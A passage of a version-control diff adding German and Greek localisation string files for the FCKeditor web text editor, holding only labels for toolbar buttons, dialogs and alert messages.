+Copy				: "Kopieren",
+Paste				: "Einfügen",
+PasteText			: "aus Textdatei einfügen",
+PasteWord			: "aus MS-Word einfügen",
+Print				: "Drucken",
+SelectAll			: "Alles auswählen",
+RemoveFormat		: "Formatierungen entfernen",
+InsertLinkLbl		: "Link",
+InsertLink			: "Link einfügen/editieren",
+RemoveLink			: "Link entfernen",
+Anchor				: "Anker einfügen/editieren",
+InsertImageLbl		: "Bild",
+InsertImage			: "Bild einfügen/editieren",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Flash einfügen/editieren",
+InsertTableLbl		: "Tabelle",
+InsertTable			: "Tabelle einfügen/editieren",
+InsertLineLbl		: "Linie",
+InsertLine			: "Horizontale Linie einfügen",
+InsertSpecialCharLbl: "Sonderzeichen",
+InsertSpecialChar	: "Sonderzeichen einfügen/editieren",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Smiley einfügen",
+About				: "Über FCKeditor",
+Bold				: "Fett",
+Italic				: "Kursiv",
+Underline			: "Unterstrichen",
+StrikeThrough		: "Durchgestrichen",
+Subscript			: "Tiefgestellt",
+Superscript			: "Hochgestellt",
+LeftJustify			: "Linksbündig",
+CenterJustify		: "Zentriert",
+RightJustify		: "Rechtsbündig",
+BlockJustify		: "Blocksatz",
+DecreaseIndent		: "Einzug verringern",
+IncreaseIndent		: "Einzug erhöhen",
+Undo				: "Rückgängig",
+Redo				: "Wiederherstellen",
+NumberedListLbl		: "Nummerierte Liste",
+NumberedList		: "Nummerierte Liste einfügen/entfernen",
+BulletedListLbl		: "Liste",
+BulletedList		: "Liste einfügen/entfernen",
+ShowTableBorders	: "Zeige Tabellenrahmen",
+ShowDetails			: "Zeige Details",
+Style				: "Style",
+FontFormat			: "Format",
+Font				: "Schriftart",
+FontSize			: "Size",
+TextColor			: "Textfarbe",
+BGColor				: "Hintergrundfarbe",
+Source				: "Quellcode",
+Find				: "Finden",
+Replace				: "Ersetzen",
+SpellCheck			: "Rechtschreibprüfung",
+UniversalKeyboard	: "Universal-Tastatur",
+PageBreakLbl		: "Seitenumbruch",
+PageBreak			: "Seitenumbruch einfügen",
+
+Form			: "Formular",
+Checkbox		: "Checkbox",
+RadioButton		: "Radiobutton",
+TextField		: "Textfeld einzeilig",
+Textarea		: "Textfeld mehrzeilig",
+HiddenField		: "verstecktes Feld",
+Button			: "Klickbutton",
+SelectionField	: "Auswahlfeld",
+ImageButton		: "Bildbutton",
+
+FitWindow		: "Editor maximieren",
+
+// Context Menu
+EditLink			: "Link editieren",
+CellCM				: "Zelle",
+RowCM				: "Zeile",
+ColumnCM			: "Spalte",
+InsertRow			: "Zeile einfügen",
+DeleteRows			: "Zeile entfernen",
+InsertColumn		: "Spalte einfügen",
+DeleteColumns		: "Spalte löschen",
+InsertCell			: "Zelle einfügen",
+DeleteCells			: "Zelle löschen",
+MergeCells			: "Zellen vereinen",
+SplitCell			: "Zelle teilen",
+TableDelete			: "Tabelle löschen",
+CellProperties		: "Zellen Eigenschaften",
+TableProperties		: "Tabellen Eigenschaften",
+ImageProperties		: "Bild Eigenschaften",
+FlashProperties		: "Flash Eigenschaften",
+
+AnchorProp			: "Anker Eigenschaften",
+ButtonProp			: "Button Eigenschaften",
+CheckboxProp		: "Checkbox Eigenschaften",
+HiddenFieldProp		: "Verstecktes Feld Eigenschaften",
+RadioButtonProp		: "Optionsfeld Eigenschaften",
+ImageButtonProp		: "Bildbutton Eigenschaften",
+TextFieldProp		: "Textfeld (einzeilig) Eigenschaften",
+SelectionFieldProp	: "Auswahlfeld Eigenschaften",
+TextareaProp		: "Textfeld (mehrzeilig) Eigenschaften",
+FormProp			: "Formular Eigenschaften",
+
+FontFormats			: "Normal;Formatiert;Addresse;Überschrift 1;Überschrift 2;Überschrift 3;Überschrift 4;Überschrift 5;Überschrift 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Bearbeite XHTML. Bitte warten...",
+Done				: "Fertig",
+PasteWordConfirm	: "Der Text, den Sie einfügen möchten, scheint aus MS-Word kopiert zu sein. Möchten Sie ihn zuvor bereinigen lassen?",
+NotCompatiblePaste	: "Diese Funktion steht nur im Internet Explorer ab Version 5.5 zur Verfügung. Möchten Sie den Text unbereinigt einfügen?",
+UnknownToolbarItem	: "Unbekanntes Menüleisten-Objekt \"%1\"",
+UnknownCommand		: "Unbekannter Befehl \"%1\"",
+NotImplemented		: "Befehl nicht implementiert",
+UnknownToolbarSet	: "Menüleiste \"%1\" existiert nicht",
+NoActiveX			: "Die Sicherheitseinstellungen Ihres Browsers beschränken evtl. einige Funktionen des Editors. Aktivieren Sie die Option \"ActiveX-Steuerelemente und Plugins ausführen\" in den Sicherheitseinstellungen, um diese Funktionen nutzen zu können",
+BrowseServerBlocked : "Ein Auswahlfenster konnte nicht geöffnet werden. Stellen Sie sicher, das alle Popup-Blocker ausgeschaltet sind.",
+DialogBlocked		: "Das Dialog-Fenster konnte nicht geöffnet werden. Stellen Sie sicher, das alle Popup-Blocker ausgeschaltet sind.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Abbrechen",
+DlgBtnClose			: "Schließen",
+DlgBtnBrowseServer	: "Server durchsuchen",
+DlgAdvancedTag		: "Erweitert",
+DlgOpOther			: "<andere>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Bitte tragen Sie die URL ein",
+
+// General Dialogs Labels
+DlgGenNotSet		: "< nichts >",
+DlgGenId			: "ID",
+DlgGenLangDir		: "Schreibrichtung",
+DlgGenLangDirLtr	: "Links nach Rechts (LTR)",
+DlgGenLangDirRtl	: "Rechts nach Links (RTL)",
+DlgGenLangCode		: "Sprachenkürzel",
+DlgGenAccessKey		: "Schlüssel",
+DlgGenName			: "Name",
+DlgGenTabIndex		: "Tab Index",
+DlgGenLongDescr		: "Langform URL",
+DlgGenClass			: "Stylesheet Klasse",
+DlgGenTitle			: "Titel Beschreibung",
+DlgGenContType		: "Content Beschreibung",
+DlgGenLinkCharset	: "Ziel-Zeichensatz",
+DlgGenStyle			: "Style",
+
+// Image Dialog
+DlgImgTitle			: "Bild Eigenschaften",
+DlgImgInfoTab		: "Bild-Info",
+DlgImgBtnUpload		: "Zum Server senden",
+DlgImgURL			: "Bildauswahl",
+DlgImgUpload		: "Upload",
+DlgImgAlt			: "Alternativer Text",
+DlgImgWidth			: "Breite",
+DlgImgHeight		: "Höhe",
+DlgImgLockRatio		: "Größenverhältniss beibehalten",
+DlgBtnResetSize		: "Größe zurücksetzen",
+DlgImgBorder		: "Rahmen",
+DlgImgHSpace		: "H-Abstand",
+DlgImgVSpace		: "V-Abstand",
+DlgImgAlign			: "Ausrichtung",
+DlgImgAlignLeft		: "Links",
+DlgImgAlignAbsBottom: "Abs Unten",
+DlgImgAlignAbsMiddle: "Abs Mitte",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Unten",
+DlgImgAlignMiddle	: "Mitte",
+DlgImgAlignRight	: "Rechts",
+DlgImgAlignTextTop	: "Text Oben",
+DlgImgAlignTop		: "Oben",
+DlgImgPreview		: "Vorschau",
+DlgImgAlertUrl		: "Bitte geben Sie die Bild-URL an",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Eigenschaften",
+DlgFlashChkPlay		: "autom. Abspielen",
+DlgFlashChkLoop		: "Endlosschleife",
+DlgFlashChkMenu		: "Flash-Menü aktivieren",
+DlgFlashScale		: "Skalierung",
+DlgFlashScaleAll	: "Alles anzeigen",
+DlgFlashScaleNoBorder	: "ohne Rand",
+DlgFlashScaleFit	: "Passgenau",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Link Info",
+DlgLnkTargetTab		: "Zielseite",
+
+DlgLnkType			: "Link-Typ",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Anker in dieser Seite",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protokoll",
+DlgLnkProtoOther	: "<anderes>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Anker auswählen",
+DlgLnkAnchorByName	: "nach Anker Name",
+DlgLnkAnchorById	: "nach Element Id",
+DlgLnkNoAnchors		: "<keine Anker im Dokument vorhanden>",
+DlgLnkEMail			: "E-Mail Addresse",
+DlgLnkEMailSubject	: "Betreffzeile",
+DlgLnkEMailBody		: "Nachrichtentext",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Zum Server senden",
+
+DlgLnkTarget		: "Zielseite",
+DlgLnkTargetFrame	: "<Frame>",
+DlgLnkTargetPopup	: "<Pop-up Fenster>",
+DlgLnkTargetBlank	: "Neues Fenster (_blank)",
+DlgLnkTargetParent	: "Oberes Fenster (_parent)",
+DlgLnkTargetSelf	: "Gleiches Fenster (_self)",
+DlgLnkTargetTop		: "Oberstes Fenster (_top)",
+DlgLnkTargetFrameName	: "Ziel-Fenster Name",
+DlgLnkPopWinName	: "Pop-up Fenster Name",
+DlgLnkPopWinFeat	: "Pop-up Fenster Eigenschaften",
+DlgLnkPopResize		: "Vergrößerbar",
+DlgLnkPopLocation	: "Adress-Leiste",
+DlgLnkPopMenu		: "Menü-Leiste",
+DlgLnkPopScroll		: "Rollbalken",
+DlgLnkPopStatus		: "Statusleiste",
+DlgLnkPopToolbar	: "Werkzeugleiste",
+DlgLnkPopFullScrn	: "Vollbild (IE)",
+DlgLnkPopDependent	: "Abhängig (Netscape)",
+DlgLnkPopWidth		: "Breite",
+DlgLnkPopHeight		: "Höhe",
+DlgLnkPopLeft		: "Linke Position",
+DlgLnkPopTop		: "Obere Position",
+
+DlnLnkMsgNoUrl		: "Bitte geben Sie die Link-URL an",
+DlnLnkMsgNoEMail	: "Bitte geben Sie e-Mail Adresse an",
+DlnLnkMsgNoAnchor	: "Bitte wählen Sie einen Anker aus",
+DlnLnkMsgInvPopName	: "Der Name des Popups muss mit einem Buchstaben beginnen und darf keine Leerzeichen enthalten",
+
+// Color Dialog
+DlgColorTitle		: "Farbauswahl",
+DlgColorBtnClear	: "Keine Farbe",
+DlgColorHighlight	: "Vorschau",
+DlgColorSelected	: "Ausgewählt",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Smiley auswählen",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Sonderzeichen auswählen",
+
+// Table Dialog
+DlgTableTitle		: "Tabellen Eigenschaften",
+DlgTableRows		: "Zeile",
+DlgTableColumns		: "Spalte",
+DlgTableBorder		: "Rahmen",
+DlgTableAlign		: "Ausrichtung",
+DlgTableAlignNotSet	: "<nichts>",
+DlgTableAlignLeft	: "Links",
+DlgTableAlignCenter	: "Zentriert",
+DlgTableAlignRight	: "Rechts",
+DlgTableWidth		: "Breite",
+DlgTableWidthPx		: "Pixel",
+DlgTableWidthPc		: "%",
+DlgTableHeight		: "Höhe",
+DlgTableCellSpace	: "Zellenabstand außen",
+DlgTableCellPad		: "Zellenabstand innen",
+DlgTableCaption		: "Überschrift",
+DlgTableSummary		: "Inhaltsübersicht",
+
+// Table Cell Dialog
+DlgCellTitle		: "Zellen-Eigenschaften",
+DlgCellWidth		: "Breite",
+DlgCellWidthPx		: "Pixel",
+DlgCellWidthPc		: "%",
+DlgCellHeight		: "Höhe",
+DlgCellWordWrap		: "Umbruch",
+DlgCellWordWrapNotSet	: "<nichts>",
+DlgCellWordWrapYes	: "Ja",
+DlgCellWordWrapNo	: "Nein",
+DlgCellHorAlign		: "Horizontale Ausrichtung",
+DlgCellHorAlignNotSet	: "<nichts>",
+DlgCellHorAlignLeft	: "Links",
+DlgCellHorAlignCenter	: "Zentriert",
+DlgCellHorAlignRight: "Rechts",
+DlgCellVerAlign		: "Vertikale Ausrichtung",
+DlgCellVerAlignNotSet	: "<nichts>",
+DlgCellVerAlignTop	: "Oben",
+DlgCellVerAlignMiddle	: "Mitte",
+DlgCellVerAlignBottom	: "Unten",
+DlgCellVerAlignBaseline	: "Grundlinie",
+DlgCellRowSpan		: "Zeilen zusammenfassen",
+DlgCellCollSpan		: "Spalten zusammenfassen",
+DlgCellBackColor	: "Hintergrundfarbe",
+DlgCellBorderColor	: "Rahmenfarbe",
+DlgCellBtnSelect	: "Auswahl...",
+
+// Find Dialog
+DlgFindTitle		: "Finden",
+DlgFindFindBtn		: "Finden",
+DlgFindNotFoundMsg	: "Der gesuchte Text wurde nicht gefunden.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Ersetzen",
+DlgReplaceFindLbl		: "Suche nach:",
+DlgReplaceReplaceLbl	: "Ersetze mit:",
+DlgReplaceCaseChk		: "Groß-Kleinschreibung beachten",
+DlgReplaceReplaceBtn	: "Ersetzen",
+DlgReplaceReplAllBtn	: "Alle Ersetzen",
+DlgReplaceWordChk		: "Nur ganze Worte suchen",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Die Sicherheitseinstellungen Ihres Browsers lassen es nicht zu, den Text automatisch einzufügen. Bitte benutzen Sie die System-Zwischenablage über STRG-C (kopieren) und STRG-V (einfügen).",
+PasteErrorCut	: "Die Sicherheitseinstellungen Ihres Browsers lassen es nicht zu, den Text automatisch auszuschneiden. Bitte benutzen Sie die System-Zwischenablage über STRG-X (ausschneiden) und STRG-V (einfügen).",
+PasteErrorCopy	: "Die Sicherheitseinstellungen Ihres Browsers lassen es nicht zu, den Text automatisch kopieren. Bitte benutzen Sie die System-Zwischenablage über STRG-C (kopieren).",
+
+PasteAsText		: "Als Text einfügen",
+PasteFromWord	: "Aus Word einfügen",
+
+DlgPasteMsg2	: "Bitte fügen Sie den Text in der folgenden Box über die Tastatur (mit <STRONG>Ctrl+V</STRONG>) ein und bestätigen Sie mit <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignoriere Schriftart-Definitionen",
+DlgPasteRemoveStyles	: "Entferne Style-Definitionen",
+DlgPasteCleanBox		: "Inhalt aufräumen",
+
+// Color Picker
+ColorAutomatic	: "Automatisch",
+ColorMoreColors	: "Weitere Farben...",
+
+// Document Properties
+DocProps		: "Dokument Eigenschaften",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Anker Eigenschaften",
+DlgAnchorName		: "Anker Name",
+DlgAnchorErrorName	: "Bitte geben Sie den Namen des Ankers ein",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Nicht im Wörterbuch",
+DlgSpellChangeTo		: "Ändern in",
+DlgSpellBtnIgnore		: "Ignorieren",
+DlgSpellBtnIgnoreAll	: "Alle Ignorieren",
+DlgSpellBtnReplace		: "Ersetzen",
+DlgSpellBtnReplaceAll	: "Alle Ersetzen",
+DlgSpellBtnUndo			: "Rückgängig",
+DlgSpellNoSuggestions	: " - keine Vorschläge - ",
+DlgSpellProgress		: "Rechtschreibprüfung läuft...",
+DlgSpellNoMispell		: "Rechtschreibprüfung abgeschlossen - keine Fehler gefunden",
+DlgSpellNoChanges		: "Rechtschreibprüfung abgeschlossen - keine Worte geändert",
+DlgSpellOneChange		: "Rechtschreibprüfung abgeschlossen - ein Wort geändert",
+DlgSpellManyChanges		: "Rechtschreibprüfung abgeschlossen - %1 Wörter geändert",
+
+IeSpellDownload			: "Rechtschreibprüfung nicht installiert. Möchten Sie sie jetzt herunterladen?",
+
+// Button Dialog
+DlgButtonText		: "Text (Wert)",
+DlgButtonType		: "Typ",
+DlgButtonTypeBtn	: "Button",
+DlgButtonTypeSbm	: "Absenden",
+DlgButtonTypeRst	: "Zurücksetzen",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Name",
+DlgCheckboxValue	: "Wert",
+DlgCheckboxSelected	: "ausgewählt",
+
+// Form Dialog
+DlgFormName		: "Name",
+DlgFormAction	: "Action",
+DlgFormMethod	: "Method",
+
+// Select Field Dialog
+DlgSelectName		: "Name",
+DlgSelectValue		: "Wert",
+DlgSelectSize		: "Größe",
+DlgSelectLines		: "Linien",
+DlgSelectChkMulti	: "Erlaube Mehrfachauswahl",
+DlgSelectOpAvail	: "Mögliche Optionen",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Wert",
+DlgSelectBtnAdd		: "Hinzufügen",
+DlgSelectBtnModify	: "Ändern",
+DlgSelectBtnUp		: "Hoch",
+DlgSelectBtnDown	: "Runter",
+DlgSelectBtnSetValue : "Setze als Standardwert",
+DlgSelectBtnDelete	: "Entfernen",
+
+// Textarea Dialog
+DlgTextareaName	: "Name",
+DlgTextareaCols	: "Spalten",
+DlgTextareaRows	: "Reihen",
+
+// Text Field Dialog
+DlgTextName			: "Name",
+DlgTextValue		: "Wert",
+DlgTextCharWidth	: "Zeichenbreite",
+DlgTextMaxChars		: "Max. Zeichen",
+DlgTextType			: "Typ",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Passwort",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Name",
+DlgHiddenValue	: "Wert",
+
+// Bulleted List Dialog
+BulletedListProp	: "Listen-Eigenschaften",
+NumberedListProp	: "Nummerierte Listen-Eigenschaften",
+DlgLstStart			: "Start",
+DlgLstType			: "Typ",
+DlgLstTypeCircle	: "Ring",
+DlgLstTypeDisc		: "Kreis",
+DlgLstTypeSquare	: "Quadrat",
+DlgLstTypeNumbers	: "Nummern (1, 2, 3)",
+DlgLstTypeLCase		: "Kleinbuchstaben (a, b, c)",
+DlgLstTypeUCase		: "Großbuchstaben (A, B, C)",
+DlgLstTypeSRoman	: "Kleine römische Zahlen (i, ii, iii)",
+DlgLstTypeLRoman	: "Große römische Zahlen (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Allgemein",
+DlgDocBackTab		: "Hintergrund",
+DlgDocColorsTab		: "Farben und Abstände",
+DlgDocMetaTab		: "Metadaten",
+
+DlgDocPageTitle		: "Seitentitel",
+DlgDocLangDir		: "Schriftrichtung",
+DlgDocLangDirLTR	: "Links nach Rechts",
+DlgDocLangDirRTL	: "rechts nach Links",
+DlgDocLangCode		: "Sprachkürzel",
+DlgDocCharSet		: "Zeichenkodierung",
+DlgDocCharSetCE		: "Zentraleuropäisch",
+DlgDocCharSetCT		: "traditionell Chinesisch (Big5)",
+DlgDocCharSetCR		: "Kyrillisch",
+DlgDocCharSetGR		: "Griechisch",
+DlgDocCharSetJP		: "Japanisch",
+DlgDocCharSetKR		: "Koreanisch",
+DlgDocCharSetTR		: "Türkisch",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Westeuropäisch",
+DlgDocCharSetOther	: "Andere Zeichenkodierung",
+
+DlgDocDocType		: "Dokumententyp",
+DlgDocDocTypeOther	: "Anderer Dokumententyp",
+DlgDocIncXHTML		: "Beziehe XHTML Deklarationen ein",
+DlgDocBgColor		: "Hintergrundfarbe",
+DlgDocBgImage		: "Hintergrundbild URL",
+DlgDocBgNoScroll	: "feststehender Hintergrund",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Besuchter Link",
+DlgDocCActive		: "Aktiver Link",
+DlgDocMargins		: "Seitenränder",
+DlgDocMaTop			: "Oben",
+DlgDocMaLeft		: "Links",
+DlgDocMaRight		: "Rechts",
+DlgDocMaBottom		: "Unten",
+DlgDocMeIndex		: "Schlüsselwörter (durch Komma getrennt)",
+DlgDocMeDescr		: "Dokument-Beschreibung",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Vorschau",
+
+// Templates Dialog
+Templates			: "Vorlagen",
+DlgTemplatesTitle	: "Vorlagen",
+DlgTemplatesSelMsg	: "Klicken Sie auf eine Vorlage, um sie im Editor zu öffnen (der aktuelle Inhalt wird dabei gelöscht!):",
+DlgTemplatesLoading	: "Liste der Vorlagen wird geladen. Bitte warten...",
+DlgTemplatesNoTpl	: "(keine Vorlagen definiert)",
+DlgTemplatesReplace	: "Aktuellen Inhalt ersetzen",
+
+// About Dialog
+DlgAboutAboutTab	: "Über",
+DlgAboutBrowserInfoTab	: "Browser-Info",
+DlgAboutLicenseTab	: "Lizenz",
+DlgAboutVersion		: "Version",
+DlgAboutLicense		: "Lizensiert unter den Richtlinien der GNU Lesser General Public License",
+DlgAboutInfo		: "Für weitere Informationen siehe"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/el.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/el.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/el.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: el.js
+ * 	Greek language file.
+ * 
+ * File Authors:
+ * 		Vangelis Bibakis (bibakisv[-a-t-]yahoo.com)
+ * 		Spyros Barbatos (sbarbatos{at}users.sourceforge.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Απόκρυψη Μπάρας Εργαλείων",
+ToolbarExpand		: "Εμφάνιση Μπάρας Εργαλείων",
+
+// Toolbar Items and Context Menu
+Save				: "Αποθήκευση",
+NewPage				: "Νέα Σελίδα",
+Preview				: "Προεπισκόπιση",
+Cut					: "Αποκοπή",
+Copy				: "Αντιγραφή",
+Paste				: "Επικόλληση",
+PasteText			: "Επικόλληση (απλό κείμενο)",
+PasteWord			: "Επικόλληση από το Word",
+Print				: "Εκτύπωση",
+SelectAll			: "Επιλογή όλων",
+RemoveFormat		: "Αφαίρεση Μορφοποίησης",
+InsertLinkLbl		: "Σύνδεσμος (Link)",
+InsertLink			: "Εισαγωγή/Μεταβολή Συνδέσμου (Link)",
+RemoveLink			: "Αφαίρεση Συνδέσμου (Link)",
+Anchor				: "Εισαγωγή/επεξεργασία Anchor",
+InsertImageLbl		: "Εικόνα",
+InsertImage			: "Εισαγωγή/Μεταβολή Εικόνας",
+InsertFlashLbl		: "Εισαγωγή Flash",
+InsertFlash			: "Εισαγωγή/επεξεργασία Flash",
+InsertTableLbl		: "Πίνακας",
+InsertTable			: "Εισαγωγή/Μεταβολή Πίνακα",
+InsertLineLbl		: "Γραμμή",
+InsertLine			: "Εισαγωγή Οριζόντιας Γραμμής",
+InsertSpecialCharLbl: "Ειδικό Σύμβολο",
+InsertSpecialChar	: "Εισαγωγή Ειδικού Συμβόλου",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Εισαγωγή Smiley",
+About				: "Περί του FCKeditor",
+Bold				: "Έντονα",
+Italic				: "Πλάγια",
+Underline			: "Υπογράμμιση",
+StrikeThrough		: "Διαγράμμιση",
+Subscript			: "Δείκτης",
+Superscript			: "Εκθέτης",
+LeftJustify			: "Στοίχιση Αριστερά",
+CenterJustify		: "Στοίχιση στο Κέντρο",
+RightJustify		: "Στοίχιση Δεξιά",
+BlockJustify		: "Πλήρης Στοίχιση (Block)",
+DecreaseIndent		: "Μείωση Εσοχής",
+IncreaseIndent		: "Αύξηση Εσοχής",
+Undo				: "Αναίρεση",
+Redo				: "Επαναφορά",
+NumberedListLbl		: "Λίστα με Αριθμούς",
+NumberedList		: "Εισαγωγή/Διαγραφή Λίστας με Αριθμούς",
+BulletedListLbl		: "Λίστα με Bullets",
+BulletedList		: "Εισαγωγή/Διαγραφή Λίστας με Bullets",
+ShowTableBorders	: "Προβολή Ορίων Πίνακα",
+ShowDetails			: "Προβολή Λεπτομερειών",
+Style				: "Στυλ",
+FontFormat			: "Μορφή Γραμματοσειράς",
+Font				: "Γραμματοσειρά",
+FontSize			: "Μέγεθος",
+TextColor			: "Χρώμα Γραμμάτων",
+BGColor				: "Χρώμα Υποβάθρου",
+Source				: "HTML κώδικας",
+Find				: "Αναζήτηση",
+Replace				: "Αντικατάσταση",
+SpellCheck			: "Ορθογραφικός έλεγχος",
+UniversalKeyboard	: "Διεθνής πληκτρολόγιο",
+PageBreakLbl		: "Τέλος σελίδας",
+PageBreak			: "Εισαγωγή τέλους σελίδας",
+
+Form			: "Φόρμα",
+Checkbox		: "Κουτί επιλογής",
+RadioButton		: "Κουμπί Radio",
+TextField		: "Πεδίο κειμένου",
+Textarea		: "Περιοχή κειμένου",
+HiddenField		: "Κρυφό πεδίο",
+Button			: "Κουμπί",
+SelectionField	: "Πεδίο επιλογής",
+ImageButton		: "Κουμπί εικόνας",
+
+FitWindow		: "Μεγιστοποίηση προγράμματος",
+
+// Context Menu
+EditLink			: "Μεταβολή Συνδέσμου (Link)",
+CellCM				: "Κελί",
+RowCM				: "Σειρά",
+ColumnCM			: "Στήλη",
+InsertRow			: "Εισαγωγή Γραμμής",
+DeleteRows			: "Διαγραφή Γραμμών",
+InsertColumn		: "Εισαγωγή Κολώνας",
+DeleteColumns		: "Διαγραφή Κολωνών",
+InsertCell			: "Εισαγωγή Κελιού",
+DeleteCells			: "Διαγραφή Κελιών",
+MergeCells			: "Ενοποίηση Κελιών",
+SplitCell			: "Διαχωρισμός Κελιού",
+TableDelete			: "Διαγραφή πίνακα",
+CellProperties		: "Ιδιότητες Κελιού",
+TableProperties		: "Ιδιότητες Πίνακα",
+ImageProperties		: "Ιδιότητες Εικόνας",
+FlashProperties		: "Ιδιότητες Flash",
+
+AnchorProp			: "Ιδιότητες άγκυρας",
+ButtonProp			: "Ιδιότητες κουμπιού",
+CheckboxProp		: "Ιδιότητες κουμπιού επιλογής",
+HiddenFieldProp		: "Ιδιότητες κρυφού πεδίου",
+RadioButtonProp		: "Ιδιότητες κουμπιού radio",
+ImageButtonProp		: "Ιδιότητες κουμπιού εικόνας",
+TextFieldProp		: "Ιδιότητες πεδίου κειμένου",
+SelectionFieldProp	: "Ιδιότητες πεδίου επιλογής",
+TextareaProp		: "Ιδιότητες περιοχής κειμένου",
+FormProp			: "Ιδιότητες φόρμας",
+
+FontFormats			: "Κανονικό;Μορφοποιημένο;Διεύθυνση;Επικεφαλίδα 1;Επικεφαλίδα 2;Επικεφαλίδα 3;Επικεφαλίδα 4;Επικεφαλίδα 5;Επικεφαλίδα 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Επεξεργασία XHTML. Παρακαλώ περιμένετε...",
+Done				: "Έτοιμο",
+PasteWordConfirm	: "Το κείμενο που θέλετε να επικολήσετε, φαίνεται πως προέρχεται από το Word. Θέλετε να καθαριστεί πριν επικοληθεί;",
+NotCompatiblePaste	: "Αυτή η επιλογή είναι διαθέσιμη στον Internet Explorer έκδοση 5.5+. Θέλετε να γίνει η επικόλληση χωρίς καθαρισμό;",
+UnknownToolbarItem	: "Άγνωστο αντικείμενο της μπάρας εργαλείων \"%1\"",
+UnknownCommand		: "Άγνωστή εντολή \"%1\"",
+NotImplemented		: "Η εντολή δεν έχει ενεργοποιηθεί",
+UnknownToolbarSet	: "Η μπάρα εργαλείων \"%1\" δεν υπάρχει",
+NoActiveX			: "Οι ρυθμίσεις ασφαλείας του browser σας μπορεί να περιορίσουν κάποιες ρυθμίσεις του προγράμματος. Χρειάζεται να ενεργοποιήσετε την επιλογή \"Run ActiveX controls and plug-ins\". Ίσως παρουσιαστούν λάθη και παρατηρήσετε ελειπείς λειτουργίες.",
+BrowseServerBlocked : "Οι πόροι του browser σας δεν είναι προσπελάσιμοι. Σιγουρευτείτε ότι δεν υπάρχουν ενεργοί popup blockers.",
+DialogBlocked		: "Δεν ήταν δυνατό να ανοίξει το παράθυρο διαλόγου. Σιγουρευτείτε ότι δεν υπάρχουν ενεργοί popup blockers.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Ακύρωση",
+DlgBtnClose			: "Κλείσιμο",
+DlgBtnBrowseServer	: "Εξερεύνηση διακομιστή",
+DlgAdvancedTag		: "Για προχωρημένους",
+DlgOpOther			: "<Άλλα>",
+DlgInfoTab			: "Πληροφορίες",
+DlgAlertUrl			: "Παρακαλώ εισάγετε URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<χωρίς>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Κατεύθυνση κειμένου",
+DlgGenLangDirLtr	: "Αριστερά προς Δεξιά (LTR)",
+DlgGenLangDirRtl	: "Δεξιά προς Αριστερά (RTL)",
+DlgGenLangCode		: "Κωδικός Γλώσσας",
+DlgGenAccessKey		: "Συντόμευση (Access Key)",
+DlgGenName			: "Όνομα",
+DlgGenTabIndex		: "Tab Index",
+DlgGenLongDescr		: "Αναλυτική περιγραφή URL",
+DlgGenClass			: "Stylesheet Classes",
+DlgGenTitle			: "Συμβουλευτικός τίτλος",
+DlgGenContType		: "Συμβουλευτικός τίτλος περιεχομένου",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Στύλ",
+
+// Image Dialog
+DlgImgTitle			: "Ιδιότητες Εικόνας",
+DlgImgInfoTab		: "Πληροφορίες Εικόνας",
+DlgImgBtnUpload		: "Αποστολή στον Διακομιστή",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Αποστολή",
+DlgImgAlt			: "Εναλλακτικό Κείμενο (ALT)",
+DlgImgWidth			: "Πλάτος",
+DlgImgHeight		: "Ύψος",
+DlgImgLockRatio		: "Κλείδωμα Αναλογίας",
+DlgBtnResetSize		: "Επαναφορά Αρχικού Μεγέθους",
+DlgImgBorder		: "Περιθώριο",
+DlgImgHSpace		: "Οριζόντιος Χώρος (HSpace)",
+DlgImgVSpace		: "Κάθετος Χώρος (VSpace)",
+DlgImgAlign			: "Ευθυγράμμιση (Align)",
+DlgImgAlignLeft		: "Αριστερά",
